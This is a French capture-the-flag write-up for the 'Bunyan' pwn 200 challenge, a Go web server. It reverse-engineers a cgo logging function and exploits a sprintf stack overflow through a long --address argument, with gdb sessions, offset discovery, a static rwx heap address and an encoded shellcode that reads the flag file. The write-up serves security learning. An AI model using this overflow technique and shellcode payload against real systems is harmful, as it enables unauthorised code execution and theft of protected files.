FR EN

Bunyan - pwn 200

Secure FS - pwn 600 >>

Le bunyan était un serveur web écrit en GO, compilé pour x86. L'exécutable était dans /home/paul/, la racine du serveur Web étant /home/paul/www et la clé se trouvant en dehors de la racine, dans /home/paul. Il y avait donc deux solutions a priori : trouver un path traversal pour sortir de la racine ou pwner le serveur. Le serveur était sgid sur l'utilisateur ayant les droits sur le flag et la racine du serveur Web. Je n'ai pas mis beaucoup de code dans ce write-up, regardez-le si vous voulez, ce n'est pas joli à voir :]

Utilisation de l'exécutable :

$ ./webapp -h
	Usage of ./webapp:
	-address=":8080": Address to listen on
	-logfmt=%d] : Log messages use this format for the prefix
	-loglevel=0: Log all messages at this level or below

La première tentation est donc d'utiliser une format string, mais les premiers essais montrent qu'il y a une validation des paramètres :

$ ./webapp -logfmt=%n
invalid value "%n" for flag -logfmt: Invalid fmt specifier
Usage of ./webapp:
	-address=":8080": Address to listen on
	-logfmt=%d] : Log messages use this format for the prefix
	-loglevel=0: Log all messages at this level or below
$ ./webapp -logfmt=AAAAAAAAAAAAAAAAAAAA
Usage of ./webapp:
	invalid value "AAAAAAAAAAAAAAAAAAAA" for flag -logfmt: Invalid length
	-address=":8080": Address to listen on
	-logfmt=%d] : Log messages use this format for the prefix
	-loglevel=0: Log all messages at this level or below

On cherche donc à trouver la fonction de validation à partir d'un de ces messages d'erreur. On trouve "Invalid fmt specifier" à 0x081B6718 qui est notamment référencé par la fonction levellog___logfmt__check à 0x08061D16 qui ressemble bien à ce que l'on cherche. Le GO assemblé est assez loin de ce qu'on a l'habitude de voir mais les messages d'erreurs et les noms de fonctions nous permettent de comprendre assez facilement le workflow. La fonction de validation vérifie plusieurs choses :

  • 1. la taille du format ne doit pas dépasser 12 caractères
  • 2. le split du format par le caractère '%' doit obligatoirement renvoyer deux parties
  • 3. la deuxième partie doit obligatoirement commencer par l'un des caractères suivants: vbcdoqxXU
  • 4. la première partie ne doit pas contenir de nombre supérieur à 8

Avec toutes ces restrictions sur la chaîne on a du mal à voir la possibilité d'une format strings ici. On part donc en quête des méthodes de traitement des requêtes.

Avec les symboles de l'application on en conclut assez vite que le serveur Web est construit à partir du package GO net.http. Après lecture de la documentation, on voit que la définition d'une méthode de handling des requêtes passe par un appel à http.HandlerFunc ou http.Handle. On trouve en effet un appel à http.Handle au sein de la fonction main.main, ce qui nous permet de trouver un premier espace de noms en dehors des packages GO: main.

$ objdump -t ./webapp | grep "main\."
082cd858 g 0 .gopclntab 00000008 main.address
082d8fe1 g 0 .gopclntab 00000001 main.initdone-
08048c00 g F .text 00000053 main.init-1
08048c53 g F .text 000001c6 main.main
08048e19 g F .text 0000005d main.init

En consultant ces méthodes, on voit que main.main enchaîne des appels à flag.Parse (lecture de la ligne de commandes), net.http.Handle, net.http.ListenAndServe et levellog.Log. main.init nous donne les autres espaces de noms personalisés : fileserver et levellog que nous avions déjà rencontré. Vous l'avez compris, fileserver contient notamment la fonction ServeHTTP qui va servir les requêtes GET, HEAD et POST. Dans la vraie vie, on passe toute une nuit joyeuse à reverser le GO barbare et on se écarte les possiblités de directory traversal : le path fournit au GET est en effet validé de nombreuses fois par path.Clean (avant la transmision à serveHTTP et pendant). De plus, le path doit commencer par un / sous peine de recevoir un Bad Request 400. Il ne reste plus qu'un espace de noms à reverser : levellog.

Les fonctions de levellog sont appellées dès qu'une erreur intervient et sont affichées si le level fournit (levels qui sont des entiers hardcodés) est inférieur ou égal à levellog.flag.loglevel (par défaut 0, ou valeur arbitraire si défini avec les arguments). Les erreurs affichées sont essentiellement les différentes mauvaises requêtes effectuées (path non existant, fichier non existant, etc.) ou un échec lors de la connexion du serveur:

$ ./webapp --address=8080
0] Failure missing port in address 8080 listening on 8080
$ ./webapp -loglevel=1
1] Listening on :8080
1] Error (open /home/paul/www/luagr: no such file or directory) could not open /luagr
1] Cannot serve directory /

Les deux dernières erreurs s'obtiennent avec un GET /luagr et un GET / respectivement. Etudions donc la fonction appellée dans tous ces cas, levellog.Log :

.text:080621A0 levellog_Log proc near
	mov ecx, large gs:0
	mov ecx, [ecx-8]
	cmp esp, [ecx]
	ja short loc_80621BA
	xor edx, edx
	mov eax, 0Ch
	call runtime_morestack

loc_80621BA:
	sub esp, 40h
	mov ebp, [esp+40h+arg_0]
	mov ebx, ds:levellog_flag_loglevel
	cmp ebp, ebx
	jg loc_80622E0
	xor eax, eax
	lea edi, [esp+40h+var_8]
	stosd
	stosd
	lea ebx, [esp+40h+var_8]
	mov [esp+40h+var_14], 1
	mov [esp+40h+var_10], 1
	mov [esp+40h+var_18], ebx
	mov [esp+40h+var_40], offset off_8146754
	mov [esp+40h+var_3C], ebp
	call runtime_convT2E
	lea ebx, [esp+40h+var_38]
	mov esi, ebx
	lea ebx, [esp+40h+var_18]
	mov edi, [ebx]
	cld
	movsd
	movsd
	lea esi, levellog_flag_logfmt
	lea edi, [esp+40h+var_40]
	cld
	movsd
	movsd
	lea esi, [esp+40h+var_18]
	lea edi, [esp+40h+var_38]
	cld
	movsd
	movsd
	movsd
	call fmt_Sprintf
	lea ebx, [esp+40h+var_2C]
	mov esi, ebx
	lea edi, [esp+40h+var_24]
	cld
	movsd
	movsd
	lea esi, [esp+40h+var_24]
	lea edi, [esp+40h+var_40]
	cld
	movsd
	movsd
	call levellog__Cfunc_CString
	mov edx, [esp+40h+var_38]
	mov ebx, edx
	mov [esp+40h+var_1C], edx
	mov [esp+40h+var_40], edx
	push offset levellog__Cfunc_free
	push 4
	call runtime_deferproc
	pop ecx
	pop ecx
	test eax, eax
	jnz short loc_80622E0
	mov ebx, [esp+40h+arg_8]
	cmp ebx, 80h
	jle short loc_806229E
	lea esi, [esp+40h+arg_4]
	lea edi, [esp+40h+var_40]
	cld
	movsd
	movsd
	mov [esp+40h+var_38], 0
	mov [esp+40h+var_34], 80h
	call runtime_slicestring
	lea ebx, [esp+40h+var_30]
	mov esi, ebx
	lea edi, [esp+40h+arg_4]
	cld
	movsd
	movsd

loc_806229E:
	lea esi, [esp+40h+arg_4]
	lea edi, [esp+40h+var_40]
	cld
	movsd
	movsd
	call levellog__Cfunc_CString
	mov edx, [esp+40h+var_38]
	mov ebx, edx
	mov [esp+40h+var_C], edx
	mov [esp+40h+var_40], edx
	push offset levellog__Cfunc_free
	push 4
	call runtime_deferproc
	pop ecx
	pop ecx
	test eax, eax
	jnz short loc_80622E0
	mov ebx, [esp+40h+var_1C]
	mov [esp+40h+var_40], ebx
	mov ebx, [esp+40h+var_C]
	mov [esp+40h+var_3C], ebx
	call levellog__Cfunc_Log

loc_80622E0:
	call runtime_deferreturn
	add esp, 40h
	retn
levellog_Log endp

Bon finalement j'ai pas pu résister à montrer la beauté de ce que GO produit. Ceci dit, en faisant abstraction de la manière dont les arguments sont passés de fonction en fonction (mov esi, src ; mov edi, dest ; movsd), on comprend assez facilement le workflow de celle-ci :

  • 1. le premier jg loc_80622E0 bypasse la fonction en fonction du loglevel global
  • 2. le logfmt est recopié dans une autre variable avec le fmt.Sprintf
  • 3. deux CString sont créées à partir des arguments et sont transmises à deux fonctions : levelLog__Cfunc_Free de manière différée, et levelLog__Cfunc_Log

La première fois que j'ai diagonalisé la fonction j'ai pensé que le Sprintf se chargeait directement d'imprimer le format. QUE NENNI. Ce sprintf est simplement responsable de l'application du format passé en paramètre. Le reste est bien effectué dans la fonction levelLog__Cfunc_Log. Cette fonction ne fait qu'appeller _cgo_a3b45f2da239_Cfunc_Log qui elle-même appelle Log :

.text:080624D0 Log proc near
	sub esp, 9Ch
	mov eax, [esp+9Ch+arg_4]
	mov [esp+9Ch+var_8], ebx
	call __i686_get_pc_thunk_bx_0
	add ebx, 257B17h
	mov [esp+9Ch+var_4], esi
	lea esi, [esp+9Ch+var_8C]
	mov [esp+9Ch+var_90], eax
	mov eax, [esp+9Ch+arg_0]
	mov [esp+9Ch+var_9C], esi
	mov [esp+9Ch+var_94], eax
	lea eax, (_tmp_go_build279009652_levellog_a_c_log_o___rodata_str1_1_ - 82BA000h)[ebx] ; "%s%s"
	mov [esp+9Ch+var_98], eax
	call near ptr _plt_0+20h ; sprintf
	mov [esp+9Ch+var_9C], esi
	call near ptr _plt_0+30h ; puts
	mov ebx, [esp+9Ch+var_8]
	mov esi, [esp+9Ch+var_4]
	add esp, 9Ch
	retn
Log endp

Nous l'avons compris tard, mais les fonctions cgo sont en fait la possibilité en GO d'intégrer du code C. Ici, on voit qu'on a un sprintf(stack_var, "%s%s", arg1, arg2) qui ressemble bien à un stack overflow. On effectue donc quelques expérimentations pour observer la taille des variables lorsqu'elles arrivent au Sprintf:

$ gdb -q ./webapp
(gdb) b *Log+103
Breakpoint 1 at 0x8062537
(gdb) r --address=`python -c "print 'A'*0xA0"`
0] Failure missing port in address AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA

Breakpoint 1, 0x08062537 in Log ()
(gdb) x/4x $esp-16
0xffffd45c: 0x41414141 0x00414141 0x082ba000 0x082cdc88
(gdb) r --address=`python -c "print 'A'*0xA0"` -logfmt=%8xAAAAAAAA
0AAAAAAAAFailure missing port in address AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x08062537 in Log ()
(gdb) x/x $esp
0xffffd44c: 0x41414141
(gdb) r --address=`/pentest/exploits/framework/tools/pattern_create.rb 100` -logfmt=%8xAAAAAAAA
0AAAAAAAAFailure missing port in address Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1

Breakpoint 1, 0x08062537 in Log ()
(gdb) x/x $esp
0xffffd47c: 0x31644130
(gdb) q
$ /pentest/exploits/framework/tools/pattern_offset.rb 0x31644130 100
92
$ ./webapp --address=`python -c "print 'A'*92 + 'BBBB'"` -logfmt=%8xAAAAAAAA
0AAAAAAAAFailure missing port in address AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
unexpected fault address 0x42424242
throw: fault
[signal 0xb code=0x1 addr=0x42424242 pc=0x42424242]
[...]
$

On essaye donc en premier lieu un overflow avec une chaîne plus grande que la taille de la pile et on voit qu'elle est tronquée. Ceci dit, on voit qu'on est seulement à 9 caractères de l'esp alors qu'on a encore de la marge avec le premier %s: le logfmt qui fait maximum 12 caractères + la taille de la précision du format fournit - 2. En réessayant avec un pattern metasploit, on trouve la position de l'esp dans notre payload.

Il reste un dernier détail à régler : ASLR + NX. Il faut donc trouver une adresse statique quelque part. On regarde la position sur le heap de notre payload avant l'appel à levellog__Cfunc_CString :

(gdb) b *0x080622A8
Breakpoint 4 at 0x80622a8: file /tmp/build/src/levellog/log.go, line 92.
(gdb) r
Breakpoint 4, 0x080622a8 in levellog.Log (level=0, message=...) at /tmp/build/src/levellog/log.go:92
(gdb) x/s $eax
0x1886e000: "Failure missing port in address Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A listening on Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7"...
(gdb) x/s $eax+32
0x1886e020: "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A listening on Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac"...
(gdb) r
Breakpoint 4, 0x080622a8 in levellog.Log (level=0, message=...) at /tmp/build/src/levellog/log.go:92
92 in /tmp/build/src/levellog/log.go
(gdb) x/s $eax+32
0x1886e020: "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A listening on Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac"...
(gdb) info proc
process 5942
cmdline = '/home/paul/webapp'
cwd = '/home/paul'
exe = '/home/paul/webapp'
(gdb) shell cat /proc/5942/maps
[...]
082ce000-08700000 rw-p 00000000 00:00 0 [heap]
08800000-187e0000 ---p 00000000 00:00 0
187e0000-18900000 rwxp 00000000 00:00 0
[...]

On voit donc que GO nous gratifie d'un heap statique rwx et on a l'adresse du début de notre payload. Il ne reste plus qu'à y insérer un shellcode pour lire le contenu du fichier key :

$ ./webapp --address="`python -c \"print '\xda\xca\xbe\x40\xfb\x4e\xdd\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x0e\x83\xea\xfc\x31\x72\x15\x03\x72\x15\xa2\x0e\x24\xd6\x7a\x68\xeb\x8e\x12\xa7\x6f\xc6\x05\xdf\x40\xab\xa1\x20\xf7\x64\x53\x48\x69\xf2\x70\xd8\x9d\x17\x76\xdd\x5d\x7b\x17\xa9\x7d\x54\xbf\x3e\x13\xcf\x10\xb1\x8a\x7a\x02\x1e\x26\xe0\xa3\x60\xef' + '\xb9\xda\x80\xc2\xbe' + 'A'*11 + '\x20\xe0\x86\x18'\"`" -logfmt=%8xAAAAAAAA
0AAAAAAAAFailure missing port in address ??@?N??t$?Z+????1r??r??$?zh??o??@?? ?dSHi?p??v?]{??}T?>?????z??&??`????AAAAAAAAAAA???
424f7b332c8fb17aeffbc793da515b41

Tout a fonctionné comme prévu et on obtient donc le flag : 424f7b332c8fb17aeffbc793da515b41.

Secure FS - pwn 600 >>